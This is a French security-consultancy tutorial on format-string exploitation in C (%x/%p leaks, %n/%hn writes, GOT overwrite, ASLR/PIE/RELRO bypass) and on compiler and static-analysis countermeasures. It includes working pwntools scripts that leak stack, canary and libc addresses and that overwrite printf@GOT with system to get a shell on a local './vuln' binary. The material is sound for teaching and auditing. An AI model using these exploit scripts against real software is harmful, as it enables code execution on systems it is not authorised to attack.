TL;DR — En résumé
Guide expert format string : %n écriture mémoire, GOT overwrite, ASLR bypass et exploitation moderne
Les vulnérabilités de format string sont un classique de l'exploitation binaire, présentes depuis les années 2000 mais toujours pertinentes en 2026. Une format string vulnerability survient quand une entrée contrôlée par l'attaquant est utilisée comme premier argument d'une fonction de formatage (printf, sprintf, fprintf, syslog) sans spécificateur de format. L'attaquant utilise des spécificateurs comme %x (lecture stack), %s (lecture mémoire arbitraire) et %n (écriture mémoire arbitraire) pour transformer un simple bug de programmation en exécution de code arbitraire. Ce guide technique couvre les mécanismes d'exploitation, les techniques modernes adaptées aux protections actuelles (ASLR, PIE, RELRO, stack canaries), la construction d'exploits avec %n et %hn, et les contre-mesures de compilation. Les développeurs d'exploits et les auditeurs de code trouveront ici une méthodologie complète pour l'exploitation format string en environnement moderne protégé, avec des liens vers les techniques d'exploitation ROP complémentaires.
En bref
- Mécanisme : printf sans format string = lecture/écriture arbitraire de la mémoire
- Lecture stack : %x, %p pour leak d'adresses (bypass ASLR, canary leak)
- Écriture mémoire : %n/%hn pour écrire à des adresses contrôlées (GOT overwrite)
- Exploitation moderne : format string + ROP chain sur systèmes avec full RELRO et PIE
- Contre-mesures : -Wformat, -Wformat-security, FORTIFY_SOURCE et audit de code
Mécanisme de Base : printf et la Stack
\\nLes fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :
// CODE VULNÉRABLE\\nchar user_input[256];\\nfgets(user_input, sizeof(user_input), stdin);\\nprintf(user_input); // ❌ VULNÉRABLE — l'utilisateur contrôle le format\\n\\n// CODE CORRIGÉ\\nprintf("%s", user_input); // ✅ SÉCURISÉ — format string fixe\\n\\n// Exploitation :\\n// Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack\\n// Input: "%s" → lit une string à l'adresse pointée par le prochain arg stack\\n// Input: "%n" → ÉCRIT le nombre de caractères imprimés à l'adresse stack\\n// Input: "AAAA%7$n" → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)\\nLecture de la Stack : Leak d'Informations
\\nLes spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :
- \\n
- Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR \\n
- Stack canary : leak de la valeur canary pour bypass stack protection \\n
- Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP \\n
- PIE base : leak d'adresses du binaire pour bypass PIE \\n
#!/usr/bin/env python3\\n# Leak automatisé via format string\\nfrom pwn import *\\n\\nelf = ELF('./vuln')\\np = process('./vuln')\\n\\n# Itérer les positions de la stack pour trouver des adresses intéressantes\\nfor i in range(1, 30):\\n p.sendline(f'%{i}$p'.encode())\\n leak = p.recvline().strip()\\n print(f"Position {i:2d}: {leak}")\\n # Identifier les adresses : stack, libc, PIE, canary\\n # Canary: typiquement se termine par 0x00 (null byte)\\n # Libc: commence par 0x7f sur x64\\n # PIE: correspond à la plage du binaire\\nÉcriture Mémoire : Le Spécificateur %n
\\nLe spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :
# GOT Overwrite via format string (x64, pwntools)\\nfrom pwn import *\\n\\nelf = ELF('./vuln')\\np = process('./vuln')\\n\\n# Cible : écraser l'entrée GOT de printf par l'adresse de system\\n# printf@GOT sera appelé avec l'argument contrôlé → system(user_input)\\n\\ngot_printf = elf.got['printf'] # Adresse de printf dans la GOT\\nsystem_addr = elf.symbols['system'] # Adresse de system (si no-PIE)\\n\\n# Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux\\n# %hn écrit les 2 octets inférieurs du compteur de caractères\\n\\n# Construction du payload avec pwntools fmtstr_payload\\npayload = fmtstr_payload(\\n offset=7, # Position de notre input sur la stack\\n writes={got_printf: system_addr}, # Quoi écrire où\\n numbwritten=0, # Caractères déjà imprimés\\n write_size='short' # Utiliser %hn (2 octets) au lieu de %n (4)\\n)\\n\\np.sendline(payload)\\n# Au prochain appel printf(user_input) → system(user_input)\\np.sendline(b'/bin/sh')\\np.interactive()\\nExploitation Moderne : Full RELRO et PIE
\\nSur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :
\\n- \\n
- Étape 1 — Information Leak : utiliser
%ppour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et desystem/execve. \\n - Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via
%n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.). \\n
Format String sur le Heap
\\nLes format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.
Contre-mesures de Compilation
\\n- \\n
-Wformat -Wformat-security: avertissements à la compilation pour les format strings non constantes \\n-Werror=format-security: transforme l'avertissement en erreur (empêche la compilation) \\n-D_FORTIFY_SOURCE=2: remplace printf par __printf_chk qui détecte les %n dans les format strings writables \\n- Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant \\n
- Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement \\n
grep -rn 'printf(\\\\s*[a-z]' src/ pour trouver les appels printf dont le premier argument est une variable. L'outil cppcheck et Coverity détectent automatiquement les format strings non sécurisées. En CTF, pwntools fournit fmtstr_payload() pour générer automatiquement les payloads d'écriture %n.À retenir
- printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
- %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
- GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
- Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
- -Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
FAQ — Questions Fréquentes
\\nLes format strings sont-elles encore pertinentes en 2026 ?
Oui, les vulnérabilités format string sont toujours trouvées dans les firmwares IoT, les logiciels embarqués, les applications legacy C/C++, et les outils système. Bien que les compilateurs modernes émettent des avertissements, beaucoup de code est compilé sans -Wformat-security. De plus, les format strings sont un exercice fondamental pour comprendre la manipulation de la stack et les primitifs d'exploitation.
Quelle est la différence entre %n et %hn ?
%n écrit un int (4 octets) — le nombre total de caractères imprimés. %hn écrit un short (2 octets) — les 16 bits inférieurs du compteur. %hhn écrit un byte (1 octet). %hn est préféré car écrire 2 octets nécessite de imprimer au maximum 65535 caractères, alors que %n peut nécessiter des milliards de caractères pour écrire une adresse 64-bit.
FORTIFY_SOURCE bloque-t-il toutes les attaques format string ?
FORTIFY_SOURCE (niveau 2) remplace printf par __printf_chk qui détecte les %n dans les format strings writables (non constantes). Il bloque l'écriture mémoire via %n mais ne bloque pas la lecture (%x, %p, %s). Un attaquant peut toujours leak des informations sensibles (ASLR bypass, canary leak) même avec FORTIFY_SOURCE.
Besoin d'un accompagnement expert ?
Nos consultants spécialisés en sécurité applicative et audit de code vous accompagnent dans l'évaluation de votre posture de sécurité.
Contactez-nous? Articles connexes
? Références externes
Exploitation des format strings dans les environnements durcis modernes
\nLes vulnérabilités de format string persistent en 2026 dans des contextes spécifiques : les firmwares embarqués compilés sans ASLR, les applications legacy C/C++ maintenues sur des OS sans DEP/NX activé, et certains modules noyau de systèmes temps-réel. Dans ces contextes, l'exploitation moderne d'une format string combine les techniques classiques (lecture arbitraire via %s, écriture via %n) avec des approches de bypass des mitigations partielles.
\nLe bypass de l'ASLR partielle dans les environnements contraints s'effectue via une fuite d'adresses par format string (leak de pointeurs de stack pour calculer les offsets), suivi d'une écriture ciblée. La technique du "GOT overwrite" reste viable sur les binaires compilés sans RELRO complet. Les outils de développement modernes (GCC 13+, Clang 16+) activent par défaut les warnings `-Wformat-security` et `-Werror=format-security`, rendant les nouvelles vulnérabilités de format string rares dans le code maintenu activement — mais le legacy code reste une surface d'attaque significative dans les parcs industriels et les systèmes embarqués non mis à jour.
\nLa prévention des vulnérabilités de format string dans les nouvelles bases de code repose sur l'adoption systématique de pratiques de codage sécurisé et d'outils d'analyse statique. En C, la règle absolue est de ne jamais passer une chaîne utilisateur directement comme chaîne de format — utiliser toujours `printf("%s", user_input)` plutôt que `printf(user_input)`. En C++, préférer les streams (iostream) ou les bibliothèques modernes comme `fmtlib` (intégrée dans C++20 via `std::format`) qui sont immunisées par conception contre les format string attacks.
Les outils d'analyse de code statique comme Semgrep avec les règles `c.lang.security.format-string` ou CodeQL avec les requêtes de taint analysis permettent de détecter automatiquement les patterns dangereux dans les bases de code existantes. L'intégration de ces scans dans les pipelines CI/CD — avec blocage du merge si des patterns de format string dangereux sont détectés — est la mesure préventive la plus efficace pour les nouvelles contributions. Pour le code legacy, un audit progressif priorisé par les points d'entrée (surfaces exposées aux données utilisateur non fiables) permet de résorber la dette technique sécurité de manière ordonnée.

Besoin d'un expert cybersécurité ?
\\nAudit, pentest, formation, IA — plus de 25 ans d'expérience, 100+ missions réalisées.
\\nTélécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
[email protected]
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Un projet cybersécurité ? Parlons-en.
Pentest, conformité NIS 2, ISO 27001, audit IA, RSSI externalisé… nos experts répondent sous 24h pour évaluer votre besoin et vous proposer un accompagnement sur mesure.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire